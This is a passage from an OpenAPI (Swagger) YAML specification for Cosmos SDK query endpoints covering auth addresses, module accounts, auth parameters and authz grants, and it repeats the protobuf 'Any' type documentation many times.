Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address_bytes | |
in: path | |
required: true | |
type: string | |
format: byte | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/bech32/{address_string}: | |
get: | |
summary: AddressStringToBytes converts Address string to bytes | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: AddressStringToBytes | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
address_bytes: | |
type: string | |
format: byte | |
description: >- | |
AddressStringToBytesResponse is the response type for AddressBytes | |
rpc method. | |
Since: cosmos-sdk 0.46 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address_string | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/module_accounts: | |
get: | |
summary: ModuleAccounts returns all the existing module accounts. | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: ModuleAccounts | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
accounts: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
description: >- | |
QueryModuleAccountsResponse is the response type for the | |
Query/ModuleAccounts RPC method. | |
Since: cosmos-sdk 0.46 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/module_accounts/{name}: | |
get: | |
summary: ModuleAccountByName returns the module account info by module name | |
operationId: ModuleAccountByName | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
account: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at least | |
one "/" character. The last segment of the URL's path must | |
represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in a | |
canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary all | |
types that they | |
expect it to use in the context of Any. However, for URLs | |
which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in the | |
official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer message | |
along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values in | |
the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by default | |
use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the last | |
'/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with an | |
additional field `@type` which contains the type URL. Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding a | |
field | |
`value` which holds the custom JSON in addition to the `@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
description: >- | |
QueryModuleAccountByNameResponse is the response type for the | |
Query/ModuleAccountByName RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: name | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/params: | |
get: | |
summary: Params queries all parameters. | |
operationId: AuthParams | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
params: | |
description: params defines the parameters of the module. | |
type: object | |
properties: | |
max_memo_characters: | |
type: string | |
format: uint64 | |
tx_sig_limit: | |
type: string | |
format: uint64 | |
tx_size_cost_per_byte: | |
type: string | |
format: uint64 | |
sig_verify_cost_ed25519: | |
type: string | |
format: uint64 | |
sig_verify_cost_secp256k1: | |
type: string | |
format: uint64 | |
description: >- | |
QueryParamsResponse is the response type for the Query/Params RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/cosmos/authz/v1beta1/grants: | |
get: | |
summary: Returns list of `Authorization`, granted to the grantee by the granter. | |
operationId: Grants | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
grants: | |
type: array | |
items: | |
type: object | |
properties: | |
authorization: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the | |
type of the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's | |
path must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be | |
in a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the | |
binary all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can | |
optionally set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results | |
based on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available | |
in the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty | |
scheme) might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the | |
above specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any | |
values in the form | |
of utility functions or additional generated methods of | |
the Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and | |
the unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will | |
yield type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the | |
regular | |
representation of the deserialized, embedded message, | |
with an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a | |
custom JSON | |
representation, that representation will be embedded | |
adding a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message | |
[google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
expiration: | |
type: string | |
format: date-time | |
title: >- | |
time when the grant will expire and will be pruned. If | |
null, then the grant | |
doesn't have a time expiration (other conditions in | |
`authorization` | |
may apply to invalidate the grant) | |
description: |- | |
Grant gives permissions to execute | |
the provide method with expiration time. | |
description: >- | |
authorizations is a list of grants granted for grantee by | |
granter. | |
pagination: | |
description: pagination defines an pagination for the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryGrantsResponse is the response type for the | |
Query/Authorizations RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
